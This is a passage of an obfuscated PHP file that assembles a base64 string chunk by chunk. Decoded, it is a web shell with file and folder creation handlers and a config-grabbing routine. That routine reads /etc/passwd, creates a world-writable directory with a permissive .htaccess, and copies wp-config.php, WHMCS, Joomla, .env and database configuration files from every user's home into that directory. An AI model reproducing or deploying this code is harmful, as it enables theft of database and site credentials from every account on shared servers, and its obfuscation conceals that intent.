$z .= "ICAg";
$z .= "ICRm";
$z .= "aWxl";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGZp";
$z .= "bGVO";
$z .= "YW1l";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFm";
$z .= "aWxl";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZVBh";
$z .= "dGgp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChA";
$z .= "Zmls";
$z .= "ZV9w";
$z .= "dXRf";
$z .= "Y29u";
$z .= "dGVu";
$z .= "dHMo";
$z .= "JGZp";
$z .= "bGVQ";
$z .= "YXRo";
$z .= "LCAn";
$z .= "Jykg";
$z .= "IT09";
$z .= "IGZh";
$z .= "bHNl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "cmVz";
$z .= "cG9u";
$z .= "c2VN";
$z .= "ZXNz";
$z .= "YWdl";
$z .= "ID0g";
$z .= "J0Zp";
$z .= "bGUg";
$z .= "Y3Jl";
$z .= "YXRl";
$z .= "ZCBz";
$z .= "dWNj";
$z .= "ZXNz";
$z .= "ZnVs";
$z .= "bHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "Zmls";
$z .= "ZU5h";
$z .= "bWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3JN";
$z .= "ZXNz";
$z .= "YWdl";
$z .= "ID0g";
$z .= "J0Zh";
$z .= "aWxl";
$z .= "ZCB0";
$z .= "byBj";
$z .= "cmVh";
$z .= "dGUg";
$z .= "Zmls";
$z .= "ZS4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGVy";
$z .= "cm9y";
$z .= "TWVz";
$z .= "c2Fn";
$z .= "ZSA9";
$z .= "ICdG";
$z .= "aWxl";
$z .= "IGFs";
$z .= "cmVh";
$z .= "ZHkg";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "OiAn";
$z .= "IC4g";
$z .= "JGZp";
$z .= "bGVO";
$z .= "YW1l";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cn0N";
$z .= "Cmlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "J2Ny";
$z .= "ZWF0";
$z .= "ZV9m";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "XSkg";
$z .= "JiYg";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9H";
$z .= "RVRb";
$z .= "J2Ny";
$z .= "ZWF0";
$z .= "ZSdd";
$z .= "KSAm";
$z .= "JiAk";
$z .= "X0dF";
$z .= "VFsn";
$z .= "Y3Jl";
$z .= "YXRl";
$z .= "J10g";
$z .= "PT09";
$z .= "ICdm";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "ck5h";
$z .= "bWUg";
$z .= "PSAk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "J2Zv";
$z .= "bGRl";
$z .= "cl9u";
$z .= "YW1l";
$z .= "J107";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkg";
$z .= "PSBA";
$z .= "Z2V0";
$z .= "Q3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRm";
$z .= "b2xk";
$z .= "ZXJQ";
$z .= "YXRo";
$z .= "ID0g";
$z .= "JGN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkg";
$z .= "LiAn";
$z .= "Lycg";
$z .= "LiAk";
$z .= "Zm9s";
$z .= "ZGVy";
$z .= "TmFt";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWZp";
$z .= "bGVf";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCRm";
$z .= "b2xk";
$z .= "ZXJQ";
$z .= "YXRo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "QG1r";
$z .= "ZGly";
$z .= "KCRm";
$z .= "b2xk";
$z .= "ZXJQ";
$z .= "YXRo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHJl";
$z .= "c3Bv";
$z .= "bnNl";
$z .= "TWVz";
$z .= "c2Fn";
$z .= "ZSA9";
$z .= "ICdG";
$z .= "b2xk";
$z .= "ZXIg";
$z .= "Y3Jl";
$z .= "YXRl";
$z .= "ZCBz";
$z .= "dWNj";
$z .= "ZXNz";
$z .= "ZnVs";
$z .= "bHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "Zm9s";
$z .= "ZGVy";
$z .= "TmFt";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRl";
$z .= "cnJv";
$z .= "ck1l";
$z .= "c3Nh";
$z .= "Z2Ug";
$z .= "PSAn";
$z .= "RmFp";
$z .= "bGVk";
$z .= "IHRv";
$z .= "IGNy";
$z .= "ZWF0";
$z .= "ZSBm";
$z .= "b2xk";
$z .= "ZXIu";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRl";
$z .= "cnJv";
$z .= "ck1l";
$z .= "c3Nh";
$z .= "Z2Ug";
$z .= "PSAn";
$z .= "Rm9s";
$z .= "ZGVy";
$z .= "IGFs";
$z .= "cmVh";
$z .= "ZHkg";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "OiAn";
$z .= "IC4g";
$z .= "JGZv";
$z .= "bGRl";
$z .= "ck5h";
$z .= "bWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "aWYo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9H";
$z .= "RVRb";
$z .= "J2dv";
$z .= "bydd";
$z .= "KSAm";
$z .= "JiAk";
$z .= "X0dF";
$z .= "VFsn";
$z .= "Z29v";
$z .= "J10g";
$z .= "PT0g";
$z .= "J2Nv";
$z .= "bmZp";
$z .= "Zycp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZXRj";
$z .= "ID0g";
$z .= "QGZv";
$z .= "cGVu";
$z .= "KCIv";
$z .= "ZXRj";
$z .= "L3Bh";
$z .= "c3N3";
$z .= "ZCIs";
$z .= "ICJy";
$z .= "Iikg";
$z .= "b3Ig";
$z .= "ZGll";
$z .= "KCI8";
$z .= "cHJl";
$z .= "Pjxm";
$z .= "b250";
$z .= "IGNv";
$z .= "bG9y";
$z .= "PXJl";
$z .= "ZD5D";
$z .= "YW4n";
$z .= "dCBy";
$z .= "ZWFk";
$z .= "IC9l";
$z .= "dGMv";
$z .= "cGFz";
$z .= "c3dk";
$z .= "PC9m";
$z .= "b250";
$z .= "Pjwv";
$z .= "cHJl";
$z .= "PiIp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRj";
$z .= "b24g";
$z .= "PSBA";
$z .= "bWtk";
$z .= "aXIo";
$z .= "IkF2";
$z .= "YWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "cyIs";
$z .= "IDA3";
$z .= "Nzcp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRp";
$z .= "c2lf";
$z .= "aHRj";
$z .= "ID0g";
$z .= "Ik9w";
$z .= "dGlv";
$z .= "bnMg";
$z .= "YWxs";
$z .= "XG5E";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnlJ";
$z .= "bmRl";
$z .= "eCBk";
$z .= "b2Vz";
$z .= "bnRl";
$z .= "eGlz";
$z .= "dC5o";
$z .= "dG1c";
$z .= "blNh";
$z .= "dGlz";
$z .= "Znkg";
$z .= "QW55";
$z .= "IjsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "aHRj";
$z .= "ID0g";
$z .= "Zm9w";
$z .= "ZW4o";
$z .= "IkF2";
$z .= "YWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "cy8u";
$z .= "aHRh";
$z .= "Y2Nl";
$z .= "c3Mi";
$z .= "LCAi";
$z .= "dyIp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IEBm";
$z .= "d3Jp";
$z .= "dGUo";
$z .= "JGh0";
$z .= "Yywg";
$z .= "JGlz";
$z .= "aV9o";
$z .= "dGMp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "d2hp";
$z .= "bGUg";
$z .= "KCRw";
$z .= "YXNz";
$z .= "d2Qg";
$z .= "PSBm";
$z .= "Z2V0";
$z .= "cygk";
$z .= "ZXRj";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JHBh";
$z .= "c3N3";
$z .= "ZCA9";
$z .= "PSAi";
$z .= "IiB8";
$z .= "fCAh";
$z .= "JGV0";
$z .= "Yykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ZWNo";
$z .= "byAi";
$z .= "PGZv";
$z .= "bnQg";
$z .= "Y29s";
$z .= "b3I9";
$z .= "cmVk";
$z .= "PkNh";
$z .= "bid0";
$z .= "IHJl";
$z .= "YWQg";
$z .= "L2V0";
$z .= "Yy9w";
$z .= "YXNz";
$z .= "d2Q8";
$z .= "L2Zv";
$z .= "bnQ+";
$z .= "IjsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHBy";
$z .= "ZWdf";
$z .= "bWF0";
$z .= "Y2hf";
$z .= "YWxs";
$z .= "KCcv";
$z .= "KC4q";
$z .= "Pyk6";
$z .= "eDov";
$z .= "Jywg";
$z .= "JHBh";
$z .= "c3N3";
$z .= "ZCwg";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Z2Zp";
$z .= "Zyk7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWdm";
$z .= "aWdb";
$z .= "MV0g";
$z .= "YXMg";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWdm";
$z .= "aWdf";
$z .= "ZGly";
$z .= "ID0g";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "IjsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c19y";
$z .= "ZWFk";
$z .= "YWJs";
$z .= "ZSgk";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "Zmln";
$z .= "X2Rp";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGdy";
$z .= "YWJf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ID0g";
$z .= "Ww0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "d3At";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Indv";
$z .= "cmRw";
$z .= "cmVz";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Impv";
$z .= "b21s";
$z .= "YS1v";
$z .= "ci13";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9i";
$z .= "bG9n";
$z .= "L3dw";
$z .= "LWNv";
$z .= "bmZp";
$z .= "Zy5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJ3";
$z .= "b3Jk";
$z .= "cHJl";
$z .= "c3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "Ymxv";
$z .= "Zy9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Impv";
$z .= "b21s";
$z .= "YSIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC93";
$z .= "cC93";
$z .= "cC1j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d29y";
$z .= "ZHBy";
$z .= "ZXNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L3dv";
$z .= "cmRw";
$z .= "cmVz";
$z .= "cy93";
$z .= "cC1j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d29y";
$z .= "ZHBy";
$z .= "ZXNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Zy5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICI0";
$z .= "aW1h";
$z .= "Z2Vz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L3do";
$z .= "bWNz";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Z3Vy";
$z .= "YXRp";
$z .= "b24u";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d2ht";
$z .= "Y3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "c3Vw";
$z .= "cG9y";
$z .= "dC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "InN1";
$z .= "cHBv";
$z .= "cnR3";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9z";
$z .= "ZWN1";
$z .= "cmUv";
$z .= "Y29u";
$z .= "Zmln";
$z .= "dXJh";
$z .= "dGlv";
$z .= "bi5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJz";
$z .= "ZWN1";
$z .= "cmV3";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9j";
$z .= "bGll";
$z .= "bnRz";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Z3Vy";
$z .= "YXRp";
$z .= "b24u";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "Y2xp";
$z .= "ZW50";
$z .= "c3do";
$z .= "bWNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Ns";
$z .= "aWVu";
$z .= "dC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "ImNs";
$z .= "aWVu";
$z .= "dHdo";
$z .= "bWNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Jp";
$z .= "bGxp";
$z .= "bmcv";
$z .= "Y29u";
$z .= "Zmln";
$z .= "dXJh";
$z .= "dGlv";
$z .= "bi5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJi";
$z .= "aWxs";
$z .= "aW5n";
$z .= "d2ht";
$z .= "Y3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "YWRt";
$z .= "aW4v";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Ik9w";
$z .= "ZW5j";
$z .= "YXJ0";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "Ly5l";
$z .= "bnYi";
$z .= "ID0+";
$z .= "ICJl";
$z .= "bnYi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "YXBw";
$z .= "bGlj";
$z .= "YXRp";
$z .= "b24v";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L2Rh";
$z .= "dGFi";
$z .= "YXNl";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "ImVs";
$z .= "aXNh";
$z .= "YiIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9p";
$z .= "bmNs";
$z .= "dWRl";
$z .= "cy9j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "Zm9y";
$z .= "dW0i";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IF07";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Zm9y";
$z .= "ZWFj";
$z .= "aCAo";
$z .= "JGdy";
$z .= "YWJf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "IGFz";
$z .= "ICRj";
$z .= "b25m";
$z .= "aWcg";
$z .= "PT4g";
$z .= "JG5h";
$z .= "bWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "YW1i";
$z .= "aWxf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ID0g";
$z .= "QGZp";
$z .= "bGVf";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRj";
$z .= "b25m";
$z .= "aWcp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JGFt";
$z .= "Ymls";
$z .= "X2Nv";
$z .= "bmZp";
$z .= "ZyA9";
$z .= "PSAn";
$z .= "Jykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "CWlm";
$z .= "ICgk";
$z .= "YW1i";
$z .= "aWxf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ICE9";
$z .= "PSBm";
$z .= "YWxz";
$z .= "ZSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IAkN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZV9j";
$z .= "b25m";
$z .= "aWcg";
$z .= "PSBA";
$z .= "Zm9w";
$z .= "ZW4o";
$z .= "IkF2";
$z .= "YWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "cy8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LSRu";
$z .= "YW1h";
$z .= "X2Nv";
$z .= "bmZp";
$z .= "Zy50";
$z .= "eHQi";
$z .= "LCAi";
$z .= "dyIp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IEBm";
$z .= "cHV0";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZV9j";
$z .= "b25m";
$z .= "aWcs";
$z .= "ICRh";
$z .= "bWJp";
$z .= "bF9j";
$z .= "b25m";
$z .= "aWcp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
